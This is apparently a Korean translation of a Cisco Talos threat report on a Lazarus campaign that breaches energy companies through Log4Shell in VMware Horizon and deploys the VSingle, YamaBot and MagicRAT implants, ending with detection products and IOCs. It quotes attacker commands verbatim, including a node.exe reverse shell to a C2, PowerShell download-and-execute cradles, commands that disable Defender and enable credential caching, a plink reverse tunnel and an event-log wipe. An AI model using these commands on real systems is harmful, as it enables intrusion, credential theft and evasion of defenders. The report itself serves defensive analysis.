- Cisco Talos는 그동안 미국 정부에서 북한을 배후로 지목한 Lazarus APT 그룹의 새로운 캠페인을 추적해 왔습니다.
- 이 캠페인은 VMware Horizon의 취약성을 악용하여 공격 목표로 삼은 조직에 침입하고자 했습니다.
- 표적이 된 조직에는 미국, 캐나다, 일본에 본사를 둔 에너지 업체를 비롯한 전 세계의 에너지 업체가 포함되었습니다.
- 이 캠페인은 세계 각지의 조직에 침투해서 관심이 있는 데이터에 오래도록 액세스하고 이후에 공격자의 국가로 유출하기 위한 것입니다.
- Talos는 이런 침입 공격에서 두 가지 알려진 멀웨어(VSingle 및 YamaBot)가 사용된 것을 발견했습니다.
- 또한, Talos는 최근에 공개된 “MagicRAT”이라는 임플란트가 이 캠페인에서 사용된 것을 발견했습니다.
소개
Cisco Talos는 북한에서 지원하는 APT Lazarus 그룹이 2022년 2월과 7월 사이에 악의적 활동을 하는 것을 포착했습니다. 미국 사이버 보안 및 인프라 보안국(U.S. Cybersecurity and Infrastructure Security Agency, CISA)에서는 Lazarus가 북한 정부와 연계되어 있다고 지목해 왔습니다. 진입 벡터는 VMware 제품에서 취약성을 성공적으로 악용하여 기업 네트워크에 침입할 첫 거점을 마련한 다음, 그룹의 맞춤형 멀웨어 임플란트인 VSingle 및 YamaBot을 배포하는 것입니다. 이러한 알려진 멀웨어 외에도 이번에 처음 발견된 “MagicRAT”라는 멀웨어 임플란트가 사용된 것을 발견했습니다.
이 캠페인은 원래 다른 보안 기업을 통해 부분적으로 공개되었으나, Cisco Talos의 조사를 통해 적대 세력의 공격 방식에 대한 더욱 자세한 정보가 공개되었습니다. 또한, 위협 행위자가 취약한 VMware Horizon 서버에 대해 지속적으로 해킹을 시도했음을 자세히 설명한 미국 사이버 보안 및 인프라 보안국(CISA)의 6월 공지와 Cisco Talos의 조사 결과 간에 C2(Command and Control) 및 페이로드 호스팅 인프라가 겹치는 것을 발견했습니다.
이 조사에서는 거점을 마련하고, 첫 정찰을 수행하고, 맞춤 멀웨어를 배포하여 감염된 기업의 내부망을 이동하는 Lazarus 그룹의 익스플로잇 이후의 TTP(전술, 기법 및 절차)에 관해 설명합니다. 또한, 감염된 엔드포인트에서 VSingle 백도어를 사용할 때 공격자가 수행하는 활동에 대해서도 자세히 설명합니다.
이 캠페인에서 Lazarus는 주로 캐나다, 미국, 일본에 있는 에너지 기업을 노렸습니다. 이번 공격의 주요 목표는 피해자 네트워크 내부에 장기적인 액세스 권한을 설정하여 북한 정부의 목적을 달성하기 위한 산업 스파이 작전을 수행하는 것일 가능성이 큽니다. 이번 활동은 과거 Lazarus가 중요한 인프라와 에너지 기업을 노리고 독점적 지적 재산을 유용하기 위한 장기적 액세스를 설정했던 전적과 일치합니다.
속성
Cisco Talos는 북한에서 후원하는 위협 행위자인 Lazarus 그룹에서 이러한 공격을 수행했을 가능성이 높다고 평가합니다. 조사 중에 Cisco Talos는 Lazarus에서 독점 개발하여 배포하는 VSingle과 YamaBot을 포함하여, 위협 행위자가 사용하는 세 개의 RAT을 발견했습니다. 얼마 전 일본 CERT(JPCERT/CC)는 이러한 RAT에 대해 자세히 설명하고 캠페인의 주범을 Lazarus 위협 행위자로 지목하는 보고서(VSingle, YamaBot)를 공개했습니다.
공격에 사용된 TTP 역시 Lazarus를 위협 행위자로 지목합니다. 최초 벡터는 노출된 VMware Horizon 서버에서 Log4j를 악용하는 것입니다. 익스플로잇에 성공하면 웹 서버에서 툴킷을 다운로드합니다. 동일한 초기 벡터, URL 패턴 및 이후의 유사한 핸즈 온 키보드(hands-on-keyboard) 활동이 올해 초 AhnLab에서 발표한 이 보고서에도 나와 있습니다. AhnLab에서 묘사한 캠페인과 현재의 캠페인 사이에도 겹치는 IoC가 있습니다. 예를 들어, IP 주소 84[.]38.133[.]145는 위협 행위자의 악성 도구를 위한 호스팅 플랫폼으로 사용되었습니다. 두 공격에서 동일한 전술이 사용되었지만 결과적으로 배포된 멀웨어 임플란트는 서로 달라서, Lazarus에서 사용할 수 있는 임플란트가 매우 다양한 것을 알 수 있습니다. 추가로 Kaspersky에서 발견한 Lazarus 산하 그룹 Andariel의 TTP도 유사한 것으로 밝혀졌고, 서로 다른 멀웨어가 배포되었다는 점이 가장 큰 차이입니다. Kaspersky는 Dtrack 및 Maui가 사용된 것을 발견했지만, Cisco Talos는 VSingle, YamaBot 및 MagicRAT이 사용된 것을 포착했습니다.
Cisco Talos는 분석을 개별적으로 진행하는 경우 원인 지목 증거에 대한 신뢰도가 중간에 불과하다는 사실을 인정합니다. 하지만 캠페인 및 피해자의 관점에서 이러한 모든 포인트를 분석할 때의 신뢰도 수준을 높이고 있습니다.
캠페인
Cisco Talos는 여러 피해자를 노리는 다양한 공격을 발견했습니다. 이 섹션에서는 이 캠페인에서 Lazarus가 사용한 플레이북 중 가장 대표적인 것으로 평가된 2가지 특정 공격 인스턴스를 자세히 설명합니다.
- 피해자 1: 익스플로잇에서 목표 달성을 위한 활동까지의 킬체인을 나타냅니다. 또한, 침입 시 VSingle 임플란트가 사용되었습니다.
- 피해자 2: 피해자 1과 유사한 킬 체인을 나타내지만 VSingle 외에도 “MagicRAT“이라고 하는 새로운 임플란트가 배포된 것으로 확인되었습니다.
세 번째 침입 세트에서 주목할 만한 부분은 세 번째 맞춤형 임플란트인 YamaBot이 사용된 것입니다. YamaBot은 최근에 공개되었으며 일본 컴퓨터 긴급 대응팀 조정 센터(Japan Computer Emergency Response Team Coordination Center(JPCERT/CC)에서 Lazarus APT를 배후로 지목했습니다.
피해자 No. 1: VSingle 및 계속
첫 피해자의 경우, 공개적으로 알려진 취약성을 악용하여 최종적으로는 감염된 엔드포인트에 VSingle 백도어를 배포하고 장기적 액세스를 설정한 것으로 확인되었습니다.
이 경우, VSingle 임플란트가 감염된 시스템에서 추가적 악의적 활동을 수행하는 데 실제로 사용된 것도 확인되었습니다. 아래의 흐름도에는 공격자의 플레이북이 간단히 나와 있습니다. 자세한 내용은 다음 섹션에서 설명합니다.
익스플로잇 및 거점
Cisco Talos는 VMware Horizon 공개 서버의 Log4Shell 취약성이 최초 공격 벡터 [T1190]로 악용된 것을 발견했습니다. 이렇게 침투한 후, 일련의 활동을 통해 시스템에 거점 [TA0001]을 마련한 다음 공격자가 추가적인 멀웨어를 배포하고 네트워크 내부망으로 이동했습니다. 조사 중에 두 개의 서로 다른 거점 페이로드가 발견되었습니다. 첫 번째 페이로드에서는 공격자가 node.exe를 악용합니다. 이는 아래의 간단한 node.exe 스크립트를 실행하기 위해 VMware와 함께 제공됩니다.
C:"Program Files"\VMware"VMware View"\Server\appblastgateway\node.exe -r net -e "sh = require('child_process').exec('cmd.exe');var client = new net.Socket();client.connect(<Port>, '<C2_IP>', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});"
그러면 기본적으로 인터랙티브 역방향 셸이 열리는데, 공격자가 이를 사용하여 감염된 진입 엔드포인트에 임의의 명령을 실행할 수 있습니다.
다른 사례에서는 공격자가 VMware의 취약성을 악용하여 VMware의 ws_ConnectionServer.exe를 통해 맞춤 PowerShell 스크립트를 감염된 엔드포인트에 실행하는 것을 발견했습니다.
powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://<remote_location>/<filename>.ps1')
VMware Horizon은 관리자 권한으로 실행되므로 공격자가 권한을 높이는 데 신경 쓸 필요가 없습니다.
인터랙티브 셸이 설정되고 나면 공격자는 엔드포인트에서 예비 정찰을 수행하여 네트워크 정보와 디렉터리 목록 [T1083], [T1590], [T1518]을 가져옵니다.
ipconfig /all dir c:"Program Files (x86) dir c:"Program Files
다음 단계는 Windows Defender 구성 요소 [T1562]를 비활성화하는 것입니다. 이는 레지스트리 키 변경, WMIC 명령, PowerShell 명령을 통해 수행됩니다. 아래의 목록에는 Cisco Talos가 관찰한 메서드 전체가 나와 있습니다.
powershell -exec bypass -Command Get-MpPreference powershell.exe -ExecutionPolicy Bypass -command Set-MpPreference -DisableRealtimeMonitoring $true reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection /s /f DisableRealtimeMonitoring
역방향 셸을 사용하여 시스템상의 AV(안티바이러스)를 우회하고 나면 공격자는 Lazarous에서 개발 및 운영하는 것으로 알려진 멀웨어 패밀리에서 실제 멀웨어 임플란트인 “VSingle”를 배포합니다.
배포 시에는 공격자가 제어하는 원격 위치에서 정상적인 WinRAR 유틸리티의 사본과 추가 페이로드(아카이브)인 [T1608]를 다운로드합니다.
powershell -exec bypass -command (New-Object System.Net.WebClient).DownloadFile('<remote_location>\\rar.tmp', '<local_path>\\rar.exe') powershell -exec bypass -command (New-Object System.Net.WebClient).DownloadFile('<remote_location>\\update.tmp <local_path>\\java.tmp') <local_path>\\rar.exe e <local_path>\\java.tmp <local_path_2> -hp!no!
감염된 엔드포인트에 다운로드된 아카이브는 압축이 해제되고 여기에는 VSingle 멀웨어 실행 파일이 들어 있습니다. 이 실행 파일은 필요한 경우 이름이 변경된 다음 자동 시작 서비스를 생성하여 엔드포인트에 유지됩니다.
VSingle 사용 방식
Cisco Talos의 조사 과정에서 공격자가 정찰, 유출, 수동 백도어 설치와 같은 여러 가지 활동을 수행하기 위해 VSingle 백도어에 입력하는 명령이 발견되었습니다.
위협 행위자는 아래의 명령을 실행하여 추가적인 정찰 작업을 수행하는 것으로 시작합니다. [T1083], [T1590]
이러한 명령을 통해 공격자는 설치된 소프트웨어, 네트워크 구성과 시스템 사용자 등 침입한 시스템에 대해 명확히 이해하게 됩니다. 이런 종류의 정보는 횡적 이동을 준비하는 데 중요합니다.
또한, 공격자는 시스템에서 강제로 자격 증명을 캐싱하도록 하여 나중에 수집할 수 있도록 합니다. [T1003/005]
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
공격자는 피해자 호스트에서 나머지 구성 변경을 수행하여 관리자 수준 사용 권한을 얻고자 합니다. [T1136]
이는 RAT이 탐지/제거된 경우에 사용될 수 있으며, 행위자에게 RDP 액세스를 제공하여 악성 도구 사용을 방지할 수도 있습니다.
VSingle이 설치되어 있으면 공격자가 두 개의 추가적인 도구를 통해 다른 시스템에 액세스할 수 있습니다.
- tmp의 이름이 pvhost.exe로 변경되었습니다. 이는 실제로는 plink.exe로, 시스템 간에 SSH 터널을 만들 수 있는 Putty의 유틸리티입니다.
- tmp의 이름이 osc.exe로 변경되었습니다. Cisco Talos의 평가에 따르면 이는 3proxy입니다(신뢰도 높음). 안타깝게도 Cisco Talos에서 파일 사본을 획득하지 못했습니다.
이 두 가지 도구는 함께 작동하여 피해자 시스템에 프록시를 생성하며, 수신 포트를 원격 호스트에 있는 포트로 “내보냅니다.” 공격자는 이 메커니즘을 사용하여 피해자 네트워크에 대한 액세스 권한을 제공하는 로컬 프록시 포트를 확보할 수 있는데, 이는 마치 공격자의 상자가 그 위에 직접 위치하는 것과 같습니다.
먼저, 공격자는 osc.exe(3proxy)를 시작하여 아래의 명령으로 루프백 포트를 수신합니다(이 예시에서는 8118 선택).
C:\Windows\system32\config\systemprofile\AppData\Roaming\microsoft\osc.exe -i127.0.0.1 -p8118
이것만으로는 공격자에게 도움이 되지 않고 실제로는 연결 가능한 자체 네트워크에 포트 8118을 노출해야 합니다. 그래서 공격자는 Plink를 사용하여 SSH 터널을 생성했지만 원격 주소(여기에서는 공격자가 제어하는 원격 서버)로 로컬 포트를 전달했습니다.
C:\Windows\system32\config\systemprofile\AppData\Roaming\microsoft\pvhost.exe -N -R 18118:127.0.0.1:8118 -P [Port] -l [username] -pw [password] <Remote_IP>
옵션 -R은 포트 8118(127.0.0.1에 위치)을 원격 서버(포트 18118에 위치)로 전달합니다.
VSINGLE RAT 분석
VSingle 로더 실행 파일은 여러 계층으로 구성된 MFC 기반 백도어입니다. 첫 번째 계층은 임플란트 프로세스 메모리에 있는 셸코드인 다음 계층(계층 2)을 디코딩하고 실행합니다. 이 셸코드는 다음 계층(계층 3, 역시 셸코드)에 대한 인젝터입니다. 이 임플란트는 새로운 “explorer.exe” 프로세스를 생성하고 셸코드(계층 3)를 이 안에 주입하여 실행합니다.
계층 3 셸코드는 셸코드의 다른 계층(계층 4)을 디코딩한 다음 무해한 프로세스에서 실행되는 explorer.exe와 같이 새로 생성된 무해한 프로세스에 주입됩니다.
계층 4는 무해한 프로세스의 메모리에 반사적으로 로드되는 실제 VSingle 임플란트 DLL입니다.
이 임플란트는 기능이 간단하고 기본적으로 공격자가 감염된 시스템에 더 많은 멀웨어를 배포할 수 있도록 도와주는 준비 도구입니다. 또한, C2 서버에 연결하는 역방향 셸을 여는 기능을 포함하고, “cmd.exe”를 통해 명령을 실행할 수 있도록 엔드포인트에 대해 테더링 되지 않은 액세스 권한을 공격자에게 제공합니다.
VSingle은 비교적 단순한 RAT이기는 하지만 C2 서버에서 추가적 플러그인을 다운로드하고 실행할 수 있습니다. 이러한 플러그인은 셸코드 형식 또는 C2에서 제공하는 특정 형태의 스크립트 파일 형식일 수 있습니다. 아래의 이미지는 다운로드된 셸코드를 실행하는 데 사용하는 코드를 나타냅니다.
더 간단한 사례를 들자면, 임플란트는 실행 파일 또는 스크립트를 받아서 %temp% 디렉터리에 파일로 저장하고 엔드포인트에서 실행할 수 있습니다. .vbs, .bat 및 .tmp 파일은 모두 “cmd /c”를 통해 실행되므로 임플란트는 이들을 지원합니다. .tmp 파일은 실행 파일(.exe)로도 로드할 수 있습니다.
임플란트는 C2 서버에서 제공하고 지정하는 멀웨어 아티팩트에 대해 유지될 수 있습니다. 더 간단한 메커니즘으로는 Startup 폴더에서 파일을 생성하는 방법이 있는데, 이는 두 개의 서로 다른 위치에서 수행됩니다.
c:\Documents and Settings\%s\Start Menu\Programs\Startup\%s %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
또한, 그 외에도 세 가지 방법을 사용할 수 있으며 모두 VSingle 작업자가 사용 가능한 “cmd.exe /c” 명령을 실행합니다.
피해자 No. 2: MagicRAT의 발견
다른 피해자의 네트워크에서 유사한 이벤트가 연달아 발생하는 것을 발견했습니다. 최초 정찰 후, AV 소프트웨어가 비활성화되고 맞춤형 임플란트가 배포되었습니다. 또한, 기업 내에서 다른 엔드포인트로의 내부망 이동이 발견되었습니다.
하지만 이 침입의 독특한 특징은 공격자가 감염된 시스템에 VSingle을 배포하기 3일 전에 상당히 새로운 임플란트가 배포되었다는 점입니다.
“MagicRAT”라는 임플란트는 얼마 전 공개한 게시물에 설명되어 있습니다. 역방향 인터랙티브 셸은 최종적으로 원격 위치에서 MagicRAT을 다운로드합니다.
MAGICRAT 분석
이 캠페인에서 MagicRAT은 다른 구성 파일과 경로를 이용하여 구성되었습니다. 이는 또한 다른 C2 서버로 보고됩니다. 이제 구성 디렉터리는 현재 사용자의 “AppData\Roaming” 디렉터리에 있으며 “MagicMon“이라고 합니다. 아래의 스크린샷에서 확인할 수 있듯이, 이 폴더는 “MagicSystem.ini“라는 초기화 파일을 생성하고 호스팅합니다. 이 INI 파일에는 임플란트가 명령과 데이터를 보내고 받는 데 사용할 수 있는 C2 URL 목록을 포함한 여러 가지 구성이 들어 있습니다.
내부망 이동
최초 액세스가 성공한 후 처음 며칠 동안 공격자는 엔드포인트에 대한 제한적 정찰을 수행하고, 시스템에 대한 은밀한 액세스 권한을 유지하기 위해 감염된 엔드포인트에 두 가지 멀웨어(MagicRAT 및 VSingle)를 배포했습니다. 첫 번째 피해자와 마찬가지로, 이후 공격자는 Active Directory(AD) 관련 탐색(impacket 및 VSingle 사용)을 통해 내부망으로 이동할 잠재적 엔드포인트를 찾기 시작했습니다. 아래의 표에는 이러한 작업을 수행하기 위해 실행한 명령이 나와 있습니다.
컴퓨터와 사용자의 목록을 확보하고 나면 공격자는 목록에 있는 특정 엔드포인트로 수동으로 ping을 보내서 도달 가능한지 확인합니다(간헐적 tracert 사용). 새로운 호스트에 VSingle을 배포할 때는 WMIC를 사용하여 원격 프로세스를 시작합니다. 사실, 이 프로세스는 원격 시스템에서 VSingle을 다운로드할 PowerShell 코드 조각입니다. [T1608/001]
WMIC /node:<Computer_Name> process call create "powershell.exe (New-Object System.Net.Webclient).DownloadFile('<remote_location>/svhostw.exe','<local_path>\\svhostww.exe')"
일부 감염의 경우, 다른 엔드포인트에 impacket 도구를 배포하여 내부망으로 이동하고 인터랙티브 셸을 설정하는 것도 관찰되었습니다.
이 공격 단계는 인간 작업자가 수행하는 수작업이 확실합니다. 인터랙티브 원격 콘솔 세션을 설정하려고 시도하는 동안 작업자가 오류가 있는 명령을 실행하는 것을 확인할 수 있습니다.
시도 횟수 | 명령 | 결과 |
1 | Enter-PSSession <ComputerName> | 실패한 시도 |
2 | Enter-PSSession | 실패한 시도 |
3 | powershell.exe Enter-PSSession | 올바른 명령 |
일반적으로 공격자는 관심이 있는 여러 디렉터리의 파일 목록을 확보하여 감염된 시스템을 살펴보는 데 시간을 들입니다. 특히 관심이 있는 파일이 발견되면 유출을 위해 .rar 아카이브에 넣습니다. 일반적으로 이는 시스템에서 실행되는 맞춤 개발된 임플란트 중 하나를 통해 이루어집니다.
피해자 No. 3: VSingle에서 YamaBot으로
어떤 침입 사건에서는 공격자가 먼저 엔드포인트에 VSingle을 배포했습니다. 그러나 VSingle 샘플이 탐지된 후 공격자는 기업에 대한 액세스 권한을 잃을 위기에 처했습니다. 그래서 공격자는 엔드포인트에 VSingle을 배포하려는 시도가 반복적으로 실패한 후, VSingle의 다른 업데이트된 사본을 배포했습니다. 공격자는 이렇게 얻은 액세스 권한을 한동안 유지하다가 다른 임플란트, 즉 YamaBot을 사용하는 쪽으로 전환했습니다.
YamaBot은 맞춤형 GoLang 기반 멀웨어 패밀리입니다. 이는 HTTP를 사용하여 C2 서버와 통신합니다. 일반적으로는 감염된 엔드포인트에 대한 예비 시스템 정보(컴퓨터 이름, 사용자 이름, MAC 주소)를 C2로 보내기 시작합니다.
이 임플란트에는 다음과 같은 기능을 비롯한 표준 RAT 기능이 있습니다.
- 파일과 디렉터리를 나열합니다.
- 프로세스 정보를 C2로 보냅니다.
- 원격 위치에서 파일을 다운로드합니다.
- 엔드포인트에서 임의의 명령을 실행합니다.
- 스스로 삭제합니다.
임플란트에 대한 우수한 분석 결과를 제공하는 JPCERT에서는 얼마 전 YamaBot의 배후로 Lazarus APT 그룹을 지목했습니다.
자격 증명 수집
Lazarus는 일반적인 정찰과 맞춤형 임플란트의 배포 외에도 자격 증명 수집에 대해 완전히 다른 TTP를 사용하는 것으로 확인되었습니다. 공격자는 볼륨의 백업을 만들고, Active Directory 데이터를 포함해서 데이터를 유출하기 위한 “ntds.dit” 파일의 사본을 만드는 데 이를 사용했습니다.
플레이북의 변형
이 캠페인을 통해 여러 건의 침입이 이루어지는 동안 감염 체인의 전반적인 구조는 동일하게 유지되었고, 캠페인 섹션 도입부에서 설명했듯이, 이는 주로 사이버 킬 체인으로 구성되었습니다.
그러나 각 침입 세트에서 적대 세력이 수행한 선택적 활동에는 몇 가지 중요한 변화가 있었습니다. 예를 들어, 다음과 같은 변화가 있었습니다.
- Mimikatz, Procdump 등의 도구를 사용해서 자격 증명을 수집했습니다.
- SOCKs 프록시를 설정하기 위한 프록시 도구를 사용했습니다.
- PuTTY의 plink와 같은 역방향 터널링 도구를 사용했습니다.
따라서 이 캠페인에서 발견된 모든 침입에 대해 적대 세력이 사용한 모든 TTP를 목록으로 작성해야 합니다. 이 섹션에서는 작업자가 사용한 TTP 및 명령의 추가적인 목록과 더불어, 방어자가 이 APT 공격 플레이북을 더욱 잘 이해하는 데 도움이 되는 해당 MITRE ATT&CK ID를 제공합니다.
참고: 역방향 셸, VSingle RAT 및 impacket 도구를 통해 수행하는 작업 사이에는 겹치는 부분(공통적이거나 유사한 명령)이 있습니다. 이는 (한 작업자가 수집하고 거른 정보를 다른 작업자에게 적절히 인계하지 않고) 교대 근무일과 타이밍에 따라 자신의 명령 세트를 수동으로 실행하는 인간 작업자가 여러 명일 수 있기 때문입니다.
예를 들어 공격자가 PowerShell 커맨드렛을 통해 어떤 엔드포인트에서 Active Directory 정보를 얻으려고 시도한 경우가 있었습니다. 그러나 하루 뒤에 공격자는 adfind.exe를 사용하여 동일한 엔드포인트에서 유사한 정보를 추출했습니다.
AV 구성 요소 비활성화
위협 행위자는 엔드포인트에 설치된 안티바이러스 소프트웨어에 대한 정보를 쿼리하기 위해 여러 가지 형태의 명령을 사용한 다음, Windows Defender 안티바이러스를 비활성화했습니다.
정찰
공격자는 정찰 및 자격 증명 수집 단계에서 시스템, 네트워크(도메인 포함), 설치된 소프트웨어에 대한 정보를 수집합니다. 또한, 공격자는 WMIC 명령을 사용하여 감염된 시스템의 논리적 드라이브에 대한 정보도 수집합니다.
그런 다음, 공격자는 자격 증명을 수집한 뒤 유출합니다. 공격자는 정찰 단계에서 RDP 포트가 열려 있는지 구체적으로 확인합니다. 포트가 열려 있고 공격자가 수집된 자격 증명을 복호화하는 경우, 다른 백도어를 설치할 필요 없이 시스템에 직접 액세스하게 됩니다. 명령의 전체 목록은 아래의 표에 나와 있습니다.
자격 증명 수집
어떤 침입의 경우, 공격자가 나중에 자격 증명과 정책 증명을 획득하기 위한 유출 목적으로 레지스트리 하이브의 사본을 저장하기도 했습니다.
Active Directory(AD) 정찰
또한, 공격자는 일반적으로 “adfind.bat”라는 악성 배치(.bat) 파일을 사용하여 일부 감염된 엔드포인트에서 adfind.exe를 실행하고 엔드포인트로부터 AD 정보를 얻습니다.
또한, dsquery를 사용하여 유사한 정보를 얻는 것도 관찰했습니다.
무단으로 계정 생성
대부분의 경우, 공격자는 역방향 셸을 사용하여 첫 액세스 권한을 얻은 엔드포인트에 자신의 사용자 계정을 만드는 방법을 사용했습니다. VSingle 임플란트에서도 기업 전체로 확산될 때 이와 유사한 활동을 하는 것으로 확인되었습니다.
추가 도구 사용
공격자가 다른 위협 행위자에게서 주로 발견되는 일반 사용 도구를 배포하는 경우도 있었습니다.
MIMIKATZ
공격자는 자신의 서버에서 암호로 보호되는 .rar 아카이브에 Mimikatz 도구를 다운로드했습니다. 이 경우, 네트워크 침입 방지 시스템에서 전혀 탐지할 수 없게 됩니다.
PROCDUMP
공격자는 Mimikatz와 함께 procdump도 사용하여 LSASS 메모리를 디스크의 파일에 덤핑했습니다.
SOCKS 프록시
공격자가 3proxy를 사용하는 등, 로컬 엔드포인트에 SOCKS 프록시를 다운로드하고 설정하는 경우도 있었습니다.
임플란트 배포 및 내부망 이동
기업에서 처음으로 해킹한 엔드포인트의 경우, 공격자가 원격 위치에서 맞춤형 임플란트를 다운로드하고 시스템에 이를 배포하여 유지하는 것이 관찰되었습니다.
이미 해킹된 호스트에서 내부망 이동을 수행하여 침입한 엔드포인트의 경우, 인터랙티브 셸을 열고 impacket 도구를 사용하여 외부의 원격 위치 또는 소스 호스트 자체에서 임플란트가 배포되었습니다.
정리
백도어와 임플란트가 엔드포인트에서 유지되고 활성화되는 경우, 역방향 셸이 정리 작업을 수행했습니다 [T1070]. 여기에는 PowerShell 작업을 종료하고 감염 폴더의 모든 파일을 삭제하는 작업이 포함됩니다. 공격자가 생성한 계정이 제거되고 마지막으로 아래의 명령을 사용해서 Windows Event 로그 [T1070/001]를 퍼징합니다.
for /F tokens=* %1 in ('wevtutil.exe el') DO wevtutil.exe cl %1 1> \\127.0.0.1\ADMIN$\<log_file_name> 2>&1
수동 작업
공격자가 역방향 셸을 통해 감염된 엔드포인트에 명령을 잘못 입력하는 경우가 많았습니다. 이는 해당 명령을 작업자가 감염을 직접 수행하면서 입력했다는 것을 나타냅니다.
ip config /all net suer netstat -noa | finstr 3389 powrshell.exe Get-AdUser -Filter * -Properties * | Select Name, logonCount powrshell.exe Get-AdComputer -Filter * -Properties * | select Name, LastLogonDate, lastLogon, IPv4Address
커버리지
고객 여러분께서 이 위협을 탐지하고 차단하는 방법은 아래와 같습니다.
Cisco Secure Endpoint(구 AMP for Endpoints)는 이 게시물에서 자세히 설명해 드린 멀웨어를 차단하는 데 가장 효과적입니다. Secure Endpoint를 여기에서 무료로 체험해 보세요.
Cisco Secure Web Appliance 웹 스캔은 악성 웹사이트로의 액세스를 차단하고 이러한 공격에서 사용한 멀웨어를 탐지합니다.
Cisco Secure Email(구 Cisco Email Security)은 위협 행위자가 캠페인에서 전송한 악성 이메일을 차단합니다. Secure Email은 여기에서 무료로 체험할 수 있습니다.
Threat Defense Virtual, Adaptive Security Appliance, Meraki MX와 같은 Cisco Secure Firewall(구 Next-Generation Firewall 및 Firepower NGFW) 어플라이언스는 이 위협과 관련된 악의적 활동을 탐지할 수 있습니다.
Cisco Secure Malware Analytics(Threat Grid)는 악성 바이너리를 식별하고 모든 Cisco Secure 제품에 보호를 적용합니다.
Cisco의 SIG(보안 인터넷 게이트웨이)인 Umbrella는 사용자가 기업 네트워크 안에서나 밖에서나 악성 도메인, IP, URL에 연결하는 것을 차단합니다. 여기에서 Umbrella 무료 체험을 신청하세요.
Cisco Secure Web Appliance(구 Web Security Appliance)는 잠재적으로 위험한 악성 사이트를 자동으로 차단하고 사용자가 액세스하기 전에 의심스러운 사이트를 테스트합니다.
특정 환경과 관련된 추가적인 보호 및 위협 데이터는 Firewall Management Center에서 확인할 수 있습니다.
Cisco Duo는 권한이 있는 사용자만 네트워크에 액세스하도록 할 수 있는 다단계 인증을 제공합니다.
Open-source Snort Subscriber Rule Set 고객은 Snort.org에서 구매할 수 있는 최신 규칙 팩을 다운로드하여 최신 상태를 유지할 수 있습니다.
ORBITAL 쿼리
Cisco Secure Endpoint 사용자는 Orbital Advanced Search를 사용하여 복잡한 OSqueries를 실행하고 엔드포인트가 이 특정 위협에 감염되었는지 확인합니다. 이 위협에 대한 구체적인 OSqueries는 여기와 여기를 클릭하여 확인하세요.
IOCS
IOC 목록은 TALOS의 GITHUB 리포지토리인 이곳에서도 확인할 수 있습니다.
VSingle
586F30907C3849C363145BFDCDABE3E2E4688CBD5688FF968E984B201B474730
MagicRAT
8ce219552e235dcaf1c694be122d6339ed4ff8df70bf358cd165e6eb487ccfc5
c2904dc8bbb569536c742fca0c51a766e836d0da8fac1c1abd99744e9b50164f
dda53eee2c5cb0abdbf5242f5e82f4de83898b6a9dd8aa935c2be29bafc9a469
90fb0cd574155fd8667d20f97ac464eca67bdb6a8ee64184159362d45d79b6a4
YamaBot
f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
Procdump
16F413862EFDA3ABA631D8A7AE2BFFF6D84ACD9F454A7ADAA518C7A8A6F375A5
05732E84DE58A3CC142535431B3AA04EFBE034CC96E837F93C360A6387D8FAAD
Mimikatz
6FBB771CD168B5D076525805D010AE0CD73B39AB1F4E6693148FE18B8F73090B
912018AB3C6B16B39EE84F17745FF0C80A33CEE241013EC35D0281E40C0658D9
CAF6739D50366E18C855E2206A86F64DA90EC1CDF3E309AEB18AC22C6E28DC65
3Proxy
2963a90eb9e499258a67d8231a3124021b42e6c70dacd3aab36746e51e3ce37e
PuTTY plink
2AA1BBBE47F04627A8EA4E8718AD21F0D50ADF6A32BA4E6133EE46CE2CD13780
5A73FDD0C4D0DEEA80FA13121503B477597761D82CF2CFB0E9D8DF469357E3F8
Adfind
C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3
IPs
104[.]155[.]149[.]103
40[.]121[.]90[.]194
185[.]29[.]8[.]162
146[.]4[.]21[.]94
46[.]183[.]221[.]109
84[.]38[.]133[.]145
109[.]248[.]150[.]13
155[.]94[.]210[.]11
192[.]186[.]183[.]133
54[.]68[.]42[.]4
84[.]38[.]133[.]145
213[.]180[.]180[.]154
URLS
hxxp[://]104[.]155[.]149[.]103/2-443[.]ps1
hxxp[://]104[.]155[.]149[.]103/8080[.]ps1
hxxp[://]104[.]155[.]149[.]103/mi64[.]tmp
hxxp[://]104[.]155[.]149[.]103/mi[.]tmp
hxxp[://]104[.]155[.]149[.]103/mm[.]rar
hxxp[://]104[.]155[.]149[.]103/pd64[.]tmp
hxxp[://]104[.]155[.]149[.]103/rar[.]tmp
hxxp[://]104[.]155[.]149[.]103/spr[.]tmp
hxxp[://]104[.]155[.]149[.]103/t[.]tmp
hxxp[://]104[.]155[.]149[.]103/update[.]tmp
hxxp[://]109[.]248[.]150[.]13:8080/1
hxxp[://]146[.]4[.]21[.]94/tmp/data_preview/virtual[.]php
hxxp[://]185[.]29[.]8[.]162:443/1[.]tmp
hxxp[://]40[.]121[.]90[.]194/11[.]jpg
hxxp[://]40[.]121[.]90[.]194/300dr[.]cert
hxxp[://]40[.]121[.]90[.]194/b[.]cert
hxxp[://]40[.]121[.]90[.]194/qq[.]cert
hxxp[://]40[.]121[.]90[.]194/ra[.]cert
hxxp[://]40[.]121[.]90[.]194/Rar[.]jpg
hxxp[://]40[.]121[.]90[.]194/tt[.]rar
hxxp[://]46[.]183[.]221[.]109//dfdfdfdfdfdfdfdfdfaflakjdfljaldjfladfljaldkfjlajdsflajdskf/huntertroy[.]exe
hxxp[://]46[.]183[.]221[.]109//dfdfdfdfdfdfdfdfdfaflakjdfljaldjfladfljaldkfjlajdsflajdskf/svhostw[.]exe
hxxp[://]84[.]38[.]133[.]145/board[.]html
hxxp[://]84[.]38[.]133[.]145/header[.]xml
hxxp[://]www[.]ajoa[.]org/home/manager/template/calendar[.]php
hxxp[://]www[.]ajoa[.]org/home/rar[.]tmp
hxxp[://]www[.]ajoa[.]org/home/tmp[.]ps1
hxxp[://]www[.]ajoa[.]org/home/ztt[.]tmp
hxxp[://]www[.]orvi00[.]com/ez/admin/shop/powerline[.]tmp
VSingle C2s
hxxps[://]tecnojournals[.]com/review
hxxps[://]semiconductboard[.]com/xml
hxxp[://]cyancow[.]com/find
MagicRAT C2s
